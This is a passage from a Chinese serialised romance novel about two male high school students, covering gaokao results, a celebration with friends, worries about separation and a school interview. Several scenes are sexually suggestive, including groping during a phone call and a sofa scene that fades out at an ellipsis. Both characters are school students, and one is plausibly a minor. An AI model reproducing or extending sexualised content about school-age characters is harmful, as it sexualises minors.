——楚明。 哎,听课了,这题我听听。 ——江淮。 这两页在草稿本的位置不算靠后,江淮微微往后仰,懒散地坐着,把本子立靠在桌沿,慢慢翻看着,都没注意到时间已经悄无声息流逝走,教室的人渐渐走空。 直到出现空白页,他抬眼,挑了下眉。 “你干嘛呢?”楚明把试卷整理好才转过身,踩在他座椅下的横杠上,“翻半天了。” “我没想到我们上个课,话这么多。”江淮啧了声,把草稿本放到他桌面,余光熟练地瞥向前后门位置,又收回。 楚明捞起本子翻了翻,嘴角缓缓勾起:“这么多啊?” “嗯啊,”江淮笑着直起身,手搭到他椅靠,是个把楚明半圈进自己范围的姿势。 “要是这种也算进违规扣班级分的项目,”楚明笑着把草稿本合上:“天天罚站都不够我们赔的。” 江淮笑得肩头轻抖,习惯性埋进楚明颈窝里。 目光带过空荡的教室,楚明直白地拥住他,在他耳垂印下轻吻后说:“今晚不需要辅导,去你家?” “不然呢?”江淮挑眉:“你还想去哪儿?” 楚明笑了笑:“江淮你这乱七八糟的控制欲。”- 夏夜的风燥热里透着丝丝凉爽,漾过皮肤卷起适宜的舒服,自行车车轮缓慢地碾过沥青路面,平稳地往前走着。 江淮单手环住楚明的腰,屈指叩了下:“你手机呢?” “兜里,”楚明说着要空出一只手去取手机,但晚了一步,江淮的指尖已经探进裤兜,明明被冷气吹得泛凉,但隔着几乎没有实感的布料贴紧大腿根,却像火一般滚烫。 楚明呼吸一紧,垂眼按住他的手腕:“……另一边。” 江淮轻顿,下巴压他肩窝里,他微微偏头,笑着亲了下他脖颈:“哦。” 楚明:“……”哦个屁,你倒是把手拿出去啊! 江淮故意的,指尖轻轻在他大腿根上划了一道,感受到楚明身体瞬间绷紧,他这才慢条斯理地挪到另一边裤兜,两指夹出手机:“紧张什么?手机里有什么见不得人的东西?” 楚明徐徐地呼出一口气:“……明知故问。” 江淮勾着嘴角,单手反过手机,环住他腰熟练地解锁,看清里面一堆红点消息点,他轻地拧眉。 【秦苗】啊啊啊啊啊啊啊啊…… 江淮面无表情地点进去,没管她满屏的尖叫,精准总结:“秦苗668。” “厉害。”楚明挑了下眉。 “秦禾578,”江淮又念:“哭了,说超常发挥。” 楚明听得想笑:“你能念得有情感一点儿吗?” “要什么情感?”江淮划走,手指滑进他衣服里,指腹交错着按着他的腹肌:“严越请吃烧烤,现在,去不去?” “有原因吗?”楚明问。 “有,”江淮看了眼【我俏丽吗】群里清一色的刷屏,笑笑:“庆祝你第一。” “消息这么灵通?”楚明有些意外。 “嗯,”江淮边单手打字回复边说:“其实学校速度更快,半小时前推文就发了。” “这样啊,”楚明轻顿:“位置。” “往三段路走,我叫停就停,”江淮把那张图片放大,看清楚门牌号后说:“61号左右。” “好。”楚明应道。 驶入三段路,整条小吃街比平时更加热闹——就连习惯早下班的那几位摊主,也还笑嘻嘻地支着摊。 “这儿!”严越眼睛利索,站起来招呼了下。 “……”江淮连忙抽出还在楚明衣服里的手,在严越微妙的注视下他若无其事地跨下车。 “啧,”严越眼神掠过他朝楚明走了过去,见他锁好自行车起身,他肩膀撞了下他的:“牛逼啊,考那么好!” “谢谢,”楚明笑了笑。 “走,你们再来晚点老板要赶我们走了。”严越说着往烧烤摊那边走。 “怎么?”江淮看他套着件随随便便的短袖短裤,“没给钱?” “……不是,”严越给了他一拳:“你没发现今天人特别多?出完成绩那些毕业生有种不通宵不当人的精神状态,要不是我带的兄弟多,都压不住座。” 这桌人确实多且热闹。 “这份孜然,这份加辣,这份加芝麻……”严越把桌面几盘依次介绍完,才坐下。 江淮和楚明并排着坐,坐下时才发现出去经常打篮球的,还有个不认识的男生。 江淮在桌面下给了严越一脚:“什么鬼?” 严越勉强地笑了笑,小声地跟他们两人介绍:“本来我是看到八中推文想约你们吃的,不知道哪个傻逼透了地点,他看到我就直接坐下赖着不走,还说他今天查高考分。我不敢骂,万一考得差给人激得纵身一跃。” 似乎是感觉到在介绍自己,男生起身说:“我姓文,刚毕业,你们叫我学长或者文哥都行。” 听到严越说的话,江淮轻拧眉:“你好。” “你们好,我听小严说你们有人也是今天查分?”文学长面带笑容,端着酒杯来找人:“考得怎么样啊?” “还可以。”楚明轻声。 见对方没有碰杯的意思,文学长把酒杯收回,笑容不减:“多少啊?我们三中这次考得很好,虽然我没有那么厉害,但也没拖后腿,勉强进了省两千,班主任刚还发来消息说我应该是班级第一。” 在座:“……” 文学长似乎没有感觉到氛围走僵,继续:“高考的时候我特紧张,临考那天晚上还睡不着熬了个通宵,以为完蛋了但没想到考得……” 严越扶额,小声地说:“我不知道最近惹什么人了,给我整来这厮。” “赶不走?”江淮也小声地问,同时捏了捏楚明的手指骨。 “岂止!”严越有些犯难:“我听他叨叨半小时了,你们没来之前他还逮着汤子讲,汤子脸都听绿了。” 大概是基于球队之间的默契,对角里汤麟边咬五花肉边狠狠点头。 江淮:“……” “其实考得不好也没关系,放宽心就行,”一个没留神文学长就聊到了不知道什么话题,死盯着楚明:“走不了能力路线你颜值还是很抗打的,你是文科吧,我记得文科总是要简单一些,你应该至少有五百五十分吧?” 楚明轻顿:“有吧。” “没有五百五也没关系的,”文学长笑容像与生俱来的,也许还没出生胎儿形态就是呲着嘴巴的:“我其实也没考多么好,我是理科生,今年理综难得要死,好在最终的成绩不算拉垮,我看到有258的时候还恍惚了一下……总成绩勉勉强强考了657,在你们学校能排多少啊?” 楚明:“……” 他垂眼抽了只纸杯,提起橙汁倒了半杯递给江淮,抬眼时轻声:“理科657省两千,是不是看岔了?” 文学长面色一僵:“什么?” “理综258是挺一般,”楚明转着空纸杯:“不过你们班人文关怀还不错,考得差还有白色谎言。” “你!”文学长差点没捏稳杯子,他皱起眉:“班主任都跟我说成绩非常可以了,你这话什么意思,你考多少分啊你跟我说……” “这里,”严越像是终于找到契机说话,伸手时特意将手里那段推文横屏放大在他眼前:“我们楚明至少省前二十。” 文学长愣住,他震惊地看着红色喜报上的名字和人像,那张人像还是随手抓拍的,像是那种教室监控截图扣下来的——但尽管如此也没有垮脸,颜值依旧抗打。 看清楚推文内容他眼皮猛跳,张着嘴久久没说出话来。 “呼,”严越挺起背来,像是终于打倒地主翻身做了主人:“那什么,我们现在要给楚明庆祝了,原则上一人一段祝福语,要不学长你先来一段?” 文学长:“……” 他放下酒杯,推推眼镜移开视线:“呃,厉害厉害……”他摸出手机乱点了两下,“哦,我班主任发消息说统计成绩,就先回去了。你们慢吃。” 等文学长匆匆忙忙地逃离饭桌,汤麟程远呼出一口能掀桌的畅快气:“我靠!终于走了!” “抱歉抱歉,”严越举起双手连忙作揖。 “没事的越哥,”汤麟善解人意地说:“其实刚才要不是听江哥楚哥要来,我早就一脚勾掉他的板凳给他摔个大马趴,尴尬了他自己就回了。” 在座:“……” 楚明眉眼染笑,手肘轻地碰了下江淮的腰:“你带出来的人。” “一般,”江淮低头:“是我我都不会让他有机会坐下。” “哎你,”楚明笑得停不住,额头轻地靠在他胳膊。 “你俩干嘛呢干嘛呢,”严越啧啧两声,给楚明那杯满上橙汁之后,薅了下江淮的袖口:“喝一杯?楚明的成绩确实牛到爆。” 楚明抬起头来,和伸来的杯子依次碰过:“谢谢。” “好吧,我以为期末考楚哥的成绩已经牛而逼之,”程远说:“但这次成绩出来我跟我妈说她都觉得我在骗他,实话不敢说系列,你简直了!” 楚明轻笑道:“我其实也有点恍惚。”甚至有种现在还在梦里的飘忽感。 “你是不是已经接到很多大学的电话了?”汤麟跟着问:“我看你们学校宣传说,已提前预定A大,顶尖学府呢。” 楚明顿了下,晃着杯子有些晃神:“暂时,还没想好。” “那你肯定什么学校都能读,高三也不需要上,天呐我都不敢想如果我是你现在得高兴成什么样,有种什么A大B大随我挑选的爽感,我靠啊……” 江淮静静听着,拿着土豆片迟迟没塞进嘴里。 “哎,”严越手里转着酒杯,小声地凑过去问:“听这意思,你们俩这是要异地恋了?” 江淮眼睫轻颤,幅度很轻地抖掉土豆片上的孜然粉。 “我操,”严越愣住:“到时候你读高三他读大一,怎么听着有点不伦不类?” “闭嘴,”江淮余光瞥见楚明无意识地一口接一口在喝,把自己这杯倒了些给他。 “闭嘴闭嘴我闭嘴,”严越咳了一声,“不过说真的,没有任何挑拨离间的意思啊,你觉得你们之间的感情足够支撑楚明为了你再读一年吗?”—— 作者有话说:A大B大我编的,厉害程度按二十六个字母顺序走[捂脸偷看] 第79章 第 79 章 “你……再咬一下。”…… 江淮几乎是不假思索:“没必要。” “嗯?”严越看着他:“什么没必要?” “他没必要放着自己的路不走来跟我并肩, 我自己会去找他。”江淮微微后仰了些,手搭在楚明的肩上,轻挑了下眉:“再者又不是分手, 有什么值得多想的。” “那你没想没想过, ”严越把声音压得低了些:“有人把你男朋友勾走了之类的?” 江淮一记眼刀飞向他。 严越:“……” 他连忙举起双手作投降状:“对不起,我的错,我以浪子之心度君子之腹。” “你们俩说什么悄悄话呢?”汤麟把店家弄好的烧烤饭放到桌子中间,又将一次性纸碗依次递出:“越哥这个你能吃吧?” “啊, 能。”严越接过纸碗散开:“刚跟江哥聊点男大。” “我操越哥你这口味之复杂, 去年说喜欢比你小的,今年喜欢比你大一两岁的,现在又研究男大, ”汤麟给他竖起大拇指:“我都怕我以后谈的女朋友,人家前任你是前任。” “哎别乱说,”严越立刻叫停他的话:“我是有原则有底线的。” “没看出来, ”江淮把盛饭的勺子递给楚明。 严越:“……” 他夸张地咬牙切齿一番, 探出脑袋去看楚明,报复性地说:“楚明楚明,你觉得世界上有比江哥更好的人吗?” 楚明:“……” 江淮:“……” “虽然江哥的确有几分姿色, 但是保不齐大学里还有更帅更好的, ”严越说:“你要不把他甩了吧!你这颜值身段在大学绝对很抢手, 到时候等江哥苦命兮兮的读完高三, 抬头一看, 世界都变了。” 江淮微微侧头,看着楚明的脸。 楚明笑了笑:“不会。” 严越抬手蒙住江淮的脸拼命朝楚明使眼色,口型说道:假装、假装。 “不会,”楚明很坚定, 说完他笑着复述他的话:“我也是有原则有底线的。” “啧啧啧!”严越松开手,摇了摇头:“好福气啊江哥。” “哟哟哟哟哟……”对面几个男生也开始起哄,不知道谁起头,反正场面瞬间就转向婚礼频道:“亲一个!亲一个!” “亲个屁,”江淮笑着捞起纸杯,在空中摆了摆,强势吸走他们的视线:“吃吧,明天不上课?” “嘁——” 晚风轻轻荡过长街,裹着街头巷尾的油香烟火气,卷散满桌的欢声笑语,聊天的热乎劲愈燃愈烈,从现在的成绩卷到未来的大学,平淡里洋溢着憧憬。 “路上注意安全,”严越晃了晃他的拖鞋把脚套进去,要分别时轻撞了下江淮,小声:“有问题找我。” “嗯,”江淮跟他击掌:“记得消了你的孽缘。” “放心,”严越往后撤出半步:“周末见,江哥楚哥。” 楚明从江淮身旁探出头,和他说了再见。 热闹散尽徒留满街的凌乱,目送走饱得满地乱爬的几人,楚明才去找随停的自行车,江淮慢他半步,像是思考的问题有了答案,他跑上前,从下握住楚明的手,嵌进指缝十指相扣。 “嗯?”楚明偏过头来,夜风卷着发间的气味落进江淮鼻尖。 江淮微愣,不知餍足地往深嗅了一下才凑到他耳边:“吃饱了吗?” “……搞这阵仗,我以为你要发表什么重要讲话,”楚明很轻地在他嘴角亲了一下,才蹲下身去开车锁。 身形线条流畅而漂亮,蹲下去时腰线骤然被勒得清晰,江淮站在他身后,没忍住抬脚勾了下他屁股。 “干嘛?”楚明反手抓住他的脚踝,“不是没喝酒?” 早知道喝点酒了……江淮俯身,两指捏了捏他的后脖颈,克制住自己稍微用力去扳着楚明下巴让他仰头接吻的冲动,开了个乱七八糟的腔:“什么锁开这么久?” 楚明:“……” 他抽出U型锁挂到车前,“好了。” “看到了,”江淮垂眼,晃了晃还在他手里的自己的脚踝:“松手。” “哦。”楚明瞥去一眼,用指腹轻轻打了个圈才松劲儿,起身跨到座位上:“上来。” 江淮扶着他肩,侧身坐了上去- 车速低,风也微弱,街道上行车行人寥寥,一派绵长的静谧。 江淮抱着他的腰,下巴搁在他肩头,不太认真地看着前面的路,但看着看着发现自己的注意力其实更多在楚明侧颊的小绒毛上,他笑了笑。 “怎么?”楚明蹭了下他的脸。 “笑我自己,傻逼。”江淮说。 楚明:“……”狠起来连自己都骂。 过了会儿江淮指尖点了下楚明的腰,见他极小幅度地偏了下脸示意自己在听,他才问:“今天的事,有消化好吗?” 今天的事,无非是成绩公布后楚明的选择问题。 事情是被绽开的烟花响声导引开的,那时楼间过道吵闹喧嚣得像过年,听觉被障闭视觉被冲散,什么都是混乱的;接着场景过渡到教室,从压抑的安静到暴增的尖叫,俱是到达峰值的情绪在溢出,饱满得能胀人;再接着是在烧烤摊,起哄里人被氛围牵着走,理性总是难以占据主导地位的。 出分的事被几拨人翻来覆去至少谈论了三遍,可直到现在他都还没有和楚明安静地、平和地交流过,他不完全清楚楚明现在在想什么。 “还不确定,”楚明声音放得低,和晚风很搭:“我向来不太会做选择。” “但或许这不是道选择题,”江淮双手环紧,说:“有很多瞬间不能复刻,球场是,生活也是。” “嗯,我知道,”楚明点了下头。 成绩尤其不能,更何况是文科。 他自认为比较平常比较稳定的考试发挥却达到了没曾预料过的高度,但再考一次谁又说得准呢?或许多复习一年知识扎得更稳他会考得很好,也或许他越学越不想学走火入魔考出来勉勉强强才过一本线。 他轻顿:“我知道往前走是哪条路,但退一步可能也不是坏事。” “为什么?”江淮问。 “说不清楚,可能一部分因为你,也一部分因为自己。”楚明轻地叹气:“太突然了……” “那你想吗?”江淮轻声问:“偏直觉的想法是想往前还是?” 这点楚明没有过多思索:“往前。” “那就去,”江淮笑了笑:“不管其他,A大还是值得去的。挣扎的原因一部分有我,不想分开,是吗?” 楚明点头:“嗯。” 江淮僵了一下,他没想到听到这声毫无迟疑的肯定回答,自己会本能地心跳漏拍,完全平静不下来:“操。” 他更深地压在楚明颈侧,欲望烧着,迫切地想在他修长洁白的脖颈上留点印记,又怕弄疼他,只轻轻贴上浅尝辄止,退出些许时他伏在他耳边:“我以为你会比较委婉地承认。” “不会,”楚明小幅度地偏了下脖子,总感觉被浅浅地啄咬之后有种空荡的痒意,他喉结轻滚:“你……再咬一下。” “嗯?”江淮眼神转沉,像是在看自己领地里的食物,他视线分寸不移地落在那团不太分明的咬痕上,嗓音微哑:“你确定?” “或者挠一下?”楚明歪了些脑袋,把侧颈尽数留给他:“很痒。” “操,”江淮沉沉地叹出一口气,伸手指腹在那团红痕上揉了揉:“早知道回家再聊这个话题。” 楚明并没有和他思维同频:“在哪有什么不一样吗?” “有。”江淮依依不舍地放下手,回到正题:“你自己那部分原因呢?能解决吗?” “可以,”楚明目视前方:“其实问题不大,更多是……情绪吧。” “嗯,那就不是问题。”江淮说:“我也会有情绪,会舍不得。” 楚明嘴唇轻轻勾起:“是,是舍不得,一分一秒都是。” 他以前从没觉得分别是件多么要紧的事,值得用长段时间去消解情绪,但现在他理解了,分别也是告别,离开重要的人,告别那种状态下的自己。 其实这远比自己预料里还要难受- “感觉比之前好多了,”楚明穿着薄款睡衣倚在墙边,手里捧着杯温水,“进入状态要快得多。” “嗯,”江淮正完成最后一个器械的锻炼,喝完递来的水,他捞过旁边的毛巾潦草地擦掉汗水:“看我。” “嗯?”楚明把杯子放到旁边,挑了下眉。 江淮把毛巾放到旁边,往他身边走,楚明明白过来让开半步,接着他背靠墙壁,双腿微张着开始静蹲。 他蹲的动作很标准,保持之后腿弯间并无明显的晃动和颤抖,持续一分钟后江淮抬眼:“你还可以坐上来。” 楚明轻拧了下眉,俯身手心盖在他大腿感受着腿部肌肉被活动,他轻顿,从下环住,去托他的臀肌。 江淮按住他的手:“你乱摸什么?” “认真在摸,”楚明看着他的腿,说:“我感受一下用力。” “结论呢?”江淮问。 “可以,比之前好一些,”楚明抽出自己的手,罩在他左膝膝盖,“但我要坐只坐这,你暂时还承受不住?” “试试?”江淮看着他。 “……好。”楚明抬手撑在墙壁,是个把江淮压在墙上的动作,但其实并不见强势,他轻缓地坐到他膝盖头,撑着自己并没有让重量下落:“我用力了?” 江淮没答,在楚明即将进行第二次询问时他钳住楚明的腰便用力往下压。 楚明皱眉:“你找死啊。” “没,”猝不及防地腿间承受住重量,江淮垂眼看了下,适应两秒后他轻勾唇,微抬左膝顶了下楚明的屁股:“感受到没?” 楚明不得不承认:“……有劲儿。” “嗯,”江淮松开他的腰,“稳吗?” “稳不稳你感知得更准吧,”楚明轻拍了下他大腿,正想站起身来,衣兜里的手机忽然炸响,他被惊得抖了一下,手忙脚乱地去摸手机。 江淮眯了下眼:“谁啊?” 看清手机界面的信息,楚明惊得眼睛都睁大了:“你妈。” 也不知道是出于什么心态,反正慌忙之下挂断都划成了接听。 江淮:“……” 他镇定地圈住楚明的腰,先一步打破他要站起来的计划,还加大力道对抗了下楚明的起身。 “小楚啊,”吴珊的声音蹦了出来:“还没睡吧?哎哟我今天刷到你们学校的喜报,炫酷得嘞……恭喜啊宝贝,是不是现在高兴得睡不着?” 楚明没想到她来电话是因为这件事,顿了一下:“谢谢阿姨。” “我就说我不会轻易对谁有好感,小楚啊,我果然该早点认你当干儿子,早知道去年你来家里吃饭的时候,我就该把一脚江淮踹出家门,你真是太给人长脸了,怎么会有这么优秀的孩子……” 楚明安静地听着,有些失神。 “我还看到志愿大学的事,A大离这儿还是有点距离……你怎么想的?”吴珊说着。 江淮听到某些字眼时挑了下眉,手指胡乱游荡时撩起楚明的衣摆便探了进去,只是和平时的方位不同,这次是向下。 “我……”楚明紧急压下险些出口的脏话,按住江淮的手再听吴珊讲话,总觉得臊得慌,耳垂不自觉地染红。 他尽量平稳声调,回答:“我还在想。” “有什么好想的?选A大还是1个亿,这不是……也没那么显而易见,”吴珊顿了一下:“哎这问题你来决定,我还是少点意见。对了小楚,江淮今天是不是又没拿手机?我电话都打冒烟了也没人听。” 楚明偏头,口型说道:“问你。” “有事直接说,”江淮依旧直言。 楚明:“……” 吴珊:“……”见鬼了! 她啪地把手机挂断。? 楚明的疑惑还没成形新一条电话就跳了进来,他下意识接听: “哎小楚啊,我是你吴阿姨,刚看到学校喜报,你和江淮都这么优秀啊,我真该收你当干儿子,方便我向你和江淮好好学学,年轻一辈就是有希望啊……” 楚明:“……” 江淮:“……” 不知道说了多久,吴珊突然来了段腹语:“他走没?” 楚明被指腹狠地一戳,他轻顿:“……走了。” “哎呀爽快!”吴珊那头笑声都粗犷了不少:“小楚你还是去读A大吧,不读可惜了,而且咱俩聊天中间偶尔还飘只江淮出来,膈应得慌,你说呢?” 楚明实在没忍住笑出声了。 江淮却不悦地皱起眉,等那头电话挂断,他歪了下头:“腿麻了。” “你自找的,”楚明也坐僵了,他动作温柔地护着江淮的腿,自己站起来时他托住江淮的腰把人抱了起来,向后退出两步:“下次还逞能吗?” “我还好,”江淮环住他脖子,甩了甩腿,意外的是,没有特别的绞痛和锁死,他轻挑眉:“真的还……” 话音没落,楚明从他手臂里挣开,两人之间隔出半拳距离——没了能扶的东西,江淮本能往前摔去,但前方是楚明,更前方些是小沙发。 按理说他是有足够的反应力控制自己去找墙或者及时调整重心,但他的动作却戛然而止,索性抱住楚明便往前摔去,扑通把楚明压在了沙发上。 “嗯……”后背磕到,楚明闷哼一声。 江淮撑起上半身,屈膝顶在他两腿间,尽管腿麻但面上不显,压迫性很强地问道:“真的要走?” “你生气了?”楚明看着他的眼睛,轻声问道。 “没,”江淮指腹刮了下他的脸:“只是烦。” “嗯?”楚明眨了下眼。 “不想听到你要走,”江淮目光下移,落在他润泽的双唇之间,闭眼俯了下去:“让我发泄一下。”—— 作者有话说::膝盖是快好了,男朋友也是快走了,可怜啊淮[摊手] 第80章 第 80 章 但“楚明”这两个字却占…… 细密的吻极轻, 带着潦草而热烫的呼吸。 半小时的训练和长达三四分钟的静蹲——腿上还坐了个他,江淮呼吸略显急促,吻到深处时他迫切地托起楚明的后脑勺, 为了迎合楚明上半身微微挺起, 但身下被压着他起不来,只堪堪环住江淮的后颈项朝自己按来,下颌与脖颈仰起漂亮的弧度。 运动器械大多被搁置在窗边,旁边顶灯光线偏暗, 这些都是按江淮习惯来布置的。 余光瞥到什么, 楚明分神片刻,他用力撑起自己,轻轻地点了下江淮的唇便抬手“啪”地把灯拍灭。 “别走神, ”江淮不悦地拧了下眉,指腹按着他下唇拨了拨,接着便直奔他舌尖而去, 没轻没重地吮吸。 楚明在心底轻地叹了口气, 这个姿势明显是该上方的人发力,但江淮…… 他始终在收腹上仰,后背绷直连手臂都在用力, 酣畅淋漓完江淮还要不知章法地往深里来。 楚明不再管其他, 环住他脖颈的手下滑到他腰间, 随意舔舐过江淮唇角他屈膝顶腹, 趁江淮反应不及他立刻翻身, 把江淮压到身下时还不忘去护住他的后脑勺。 楚明叹了声,前期江淮确实一直在引导,像第一次深吻都是他先开拓……但除此之外,技巧戛然而止, 每次不用思考他都能猜到江淮吻的步骤。 “你把灯关了?”江淮躺下时后背陷进小沙发,楚明压在他上方,视线存在感极强,但他却看得不尽然真切,只知道那双眼眸透亮。 “嗯,对面有住户。”楚明抚摸到他下颌,挠着往上扣起,稍俯身含住他下唇,再慢慢探索。 温柔平和循序渐进的吻缓缓落下,江淮闭上眼睛细细享受,手指不自觉滑到楚明后腰,不轻不重地游离到侧腰、再往小腹走,不知道指尖蹭到哪儿,反正紧接着楚明便吻得深了,他没忍住哼出声音。 眼神有些涣散,江淮偏过头去呼吸,还没缓过来完全他又被扳了回去。 “腿放好,”楚明呼吸声偏重,他用膝盖去压了下江淮的左膝,尽管才测试过好坏,但还是不敢冒险,确保不会影响到他才吻回去。 江淮喘着,感受到身体里很不可控的变化,他用手肘撑起上半身些许,是个微仰的姿势,手指不再往上而是轻轻下走,两指夹住楚明裤腰时唇间的动作轻顿,胸膛几乎紧贴,或微弱或强烈的起伏彼此清晰明了,江淮轻笑着向里滑去,把握控制权似的,紧紧抓住。 …… 楚明呼吸收紧,垂眼有些无奈地说了句:“轻点,我们……不是仇人。” 江淮闷笑一声,去亲他嘴角时手上力道松了些,声音被呼吸搅得凌乱不堪:“下次就有经验了。” ……- 今天学校里没穿校服的人格外得多,听说大部分考得好的毕业生都回校报喜。 新高三教室是换了,但老师办公室还没来得及搬。 21班还临近高三班主任办公室——还没下课就听外面叽里咕噜全是笑语声,靠窗靠门坐的学生像被勾了魂儿,隔三秒岔五秒便要往外瞧上两眼。 更别提下课后走廊连着办公室那片,跟春运似的打挤。 “我看学校公布的今年成绩全市前十两个,超一本线多少超二本线多少学生,听着是还可以但不至于考得好的多成这样吧?”赵逵逵跑过来,双手抱胸地站到过道间。 “不清楚,”江淮转了圈笔,旁边的位置上空四节课了楚明还没有回来,他拧了下眉。 “好像是要回来拿那什么志愿书?”喇叭哥携情报而归,凑来一堆:“今晚也轮到我们了。” “什么?”赵逵逵问。 “就买书啊,说什么我们必须得有专业的志愿书,什么每年学校代码都在变,没有志愿书到时候你查不到学校代码还可能填错什么的。”喇叭哥摇摇头:“我哥说这些尽诓人的,但学校要统一订购不得不买。” “又买?我服了,”赵逵逵皱起眉,“专逮着我们薅。” “是啊,不过也没办法的事。上周统购的智能错题集我压根还没翻开过,还大几千呢。”喇叭哥说:“哦,对了,今天好像还有学长回来,我刚路过办公室的时候看到好多零食和几个大西瓜。” 赵逵逵眼睛登时亮起来:“又有吃的了!” “真没想到我们班主任还有学生回来慰问,是我的话毕完业这辈子都不会再回八中。”喇叭哥说。 江淮停住笔,还想说些什么就听上课铃打响,他很淡地垂眼:“回座位了。” “好嘞!”赵逵逵和喇叭哥光速退下。 最后一节是数学课,进入零轮大复习后,课上不是在做题就是在讲题。 大马猴今天罕见地穿着西装打着领带,稀疏的头发打上发蜡捋上去视觉上就没几根了,他满面春风地走进教室,身后还跟着个不认识的男生。 “这是我几年前的学生……”大马猴交代完,丢下学长顺带丢下两套试卷便又走了出去,风风火火的。 江淮不感兴趣地收回视线,拿到前排传下来的试卷,下意识往里递给楚明,指尖轻捻才发现前面只传下来一张。 他轻顿,迟钝如数学课代表都默认楚明不需要再做试卷了。 把试卷平摊开,紧接着第二张试卷也降落,江淮悻然接过,挑出(一)他拔出笔帽开算,耳畔落满前排同学跟学长聊这聊那的欢闹声,他不受打扰地算了一会儿,感觉不对回头检查。 卷面上精简的运算式子只三五行,但“楚明”这两个字却占了大篇幅。 “操……”江淮撂下笔,彻底没心情做了。 今天他不小心起晚了,更别提才消耗过的楚明,完全是睡成死猪。他们俩到校时早自习已过去一半,但没人追究,大马猴只是提醒一句下次定好闹钟注意时间,便把还背着书包的楚明拉走了。 之后楚明便跟失踪了一样不见身影。 江淮不悦地拧起眉,尤其是抬头见十几张笑脸乱转,他心情更加不美妙,拉开书包开始翻找手机,三分钟,书包带子都让他卷了一遍还没找到手机在哪。 江淮:“……”关键时刻掉链子。 他简单回溯了一下记忆,昨晚自放学起就没用过自己的手机,再往前些推的话……他侧过身子,看了眼楚明搭在椅背的校服外套,伸手探进衣兜。 嘿?还真是他的手机。 “诶你们班主任是让我来守你们做题的,下课得交第一张,认真做啊……”学长话是这样说,实际双手撑着讲台脑袋已经探出二里地了,耳朵要是有弹性估计已经支楞到最后一排了。 江淮把手机挪到桌肚里,开机后没管连环蹦出来的未接电话,他戳开置顶聊天,给楚明发了条消息。 【狗】在哪? 【狗】还不回来吗? 消息发出之后他正要退出等待,就见上方显示“对方正在输入中…”他轻顿,转着笔耐心地等消息跳进来。 【Cming】在一楼会议室。 【Cming】想逃课吗? 他不假思索:和你? 【Cming】不然? 【狗】想。 【Cming】我让人来教室找你,稍微遮着点你的手机,跟那位同学走。 【狗】啧。 江淮摁灭手机屏幕,没忍住挑了下眉,拿起笔斗志昂扬地算了俩题,两A落下他给卷子翻了个面,直觉余光里多了点东西,他偏头就见后门口站了个男生。 男生叩门:“请问江淮同学在吗?老师有找。” 江淮举了下手,起身时长袖掩住手机便轻巧地滑进裤兜,他面无表情地就跟着人走出教室。 有男朋友就是好啊,连“上个厕所”的借口都不需要。 径直走到一楼会议室,男生引了下:“同学你就坐这等会吧,他去厕所了,应该很快回来。” “谢谢。”江淮轻颔首,绕开支架相机打光板他在前排靠门位置找了张空位。 隐有所感的,他坐正之后朝门看了一眼。 门口恰巧走进来一人,也在看向他,似乎怔了一下,站在门框里短暂顿住。 外面太阳光线很强,他完全是逆光而站,暗色勾勒着挺拔的身形轮廓,发型头骨可见优越。 除了楚明还能是谁? 江淮就坐在第一排,他们俩之间只隔着一条咖色长桌。 楚明轻挑眉,走过来笑着敲了下桌子:“这么快?” “不然?”江淮微微仰着头,去摸他的手:“你在这干嘛?” “说是采访和拍视频,”楚明微微俯身,手心罩住他的手,往旁边看了一眼他在他耳边小声地说:“你随便玩,应该还有半小时,然后我带你去吃饭。” 逃课爽就爽在这点……江淮笑了笑:“那要是问起怎么说?” “你会怕这些?”楚明也笑起来:“说拍视频就好了,他们要去食堂取照片,顺路。” 江淮轻点头:“嗯哼。” 中途拍摄的时候楚明顺了一小盘水果和坚果过来,靠在长桌前,温柔地说:“别吃橘子,特酸。” “知道了。”江淮把两瓣橘子推到盘子最边缘。 旁边负责抓拍照片采集花絮单做公众号的女生往这边看了两眼,眼睛都亮了,她默默地把镜头聚焦到他们身上,笑着按下快门。 江淮敏锐地抬了下眼。 女生慌乱地摆摆手,口型说道:“删删删了……” 江淮:“……”他好像并没有说话。 抓了两颗开心果剥开,江淮偏过头去看他们的采访。 “楚明同学,你觉得八中,或者更细些,你所就读的21班,是怎么样的地方?” 听到问题,江淮啪地把开心果碾碎了,他抽出张纸去承接它的骨灰,余光里始终注意着楚明的表情。 挺平静的,就像在思考什么题,风轻云淡。 “这问题不是挺简单的吗?”抓拍的女生小声嘀咕了句:“好,很好,非常好,理由都不需要。” 江淮:“……” 那边楚明轻抬眼,神色不显地看着那位提问老师:“都一样,如果可以选择,我不会选择的地方。” 听到答案的瞬间,江淮身体僵住,一不小心就扬了开心果的骨灰…… “我操?”女生捂住嘴,惊诧得眼珠子都快掉地上了:“这么敢!” 采访老师也没想到是这个答案,对着楚明微笑半晌,趁其不备他飞速扭头极小声地跟后面的人说了句:“咔掉咔掉,这段咔掉。” 许是情绪太激动,饶是江淮这种对唇语一窍不通的,都能完全解读他说的话。 他抿唇,注意到旁边女生,他轻抬手招呼了一下。 “你……你好,”才偷拍过人家,女生稍显局促,走到他面前两步就停了:“有事吗?” “刚才那段,视频有吗?”江淮小声问道。 “有……”女生走过去半步。 “能给我吗?”江淮继续问。 “恐怕不行,”女生见他神色暗下去,连忙解释说:“是这样,我们得保证同学隐私,如果不是亲近的家人或者老师,可能就不能乱传。” 江淮挑了下眉:“我是他男朋友。” “我操!”女生双手蒙嘴眼睛亮了八度,她左看看楚明右看看他,点了点头:“我就说嘛……帅哥我加你,晚点连视频带图片全发给你。” “谢了。”江淮很轻地勾了下唇。 最后环节是一段自白词,负责拍摄的老师晃了晃头:“都不需要化妆,素着就是帅哥,这次视频的流量稳了。” “岂止,”旁边负责收音的老师跟着笑:“同学声音也好听,就是话少,我都没听够呢。” “啧,”江淮窝在座椅里,掏出手机给楚明拍了几张照片:是挺上镜的,不需要构图光线拍出来的照片都好看。 他左右两边眉毛各挑了一下,还想再欣赏欣赏下巴窝被轻地一挠。 “走。”楚明手指挑逗着:“男朋友。” 江淮握住他的手腕,往旁边瞥了一眼,微微低头吻在他无名指指骨:“走。” 因为有校外采访和拍摄人员,今天的食堂跟被革新了似的,连米饭都要活一些,一眼看过去米粒饱满硕大。 好在摄影师们的注意力只集中了一会儿,拍够素材就在旁桌去畅吃,江淮和楚明便独占到这桌。 “下午还要去?”江淮给他挑了只排骨。 “嗯,”楚明轻叹气:“挺烦的,但马海跟我说有奖金拿,拿完我请你吃饭。” “好啊,”江淮笑笑:“实在太烦就算了,没有义务不必勉强。” 楚明点点头:“我知道。” 吃完饭工作人员尽数撤下,懒得回教室午睡,他们便去操场阴凉处坐了一会儿。 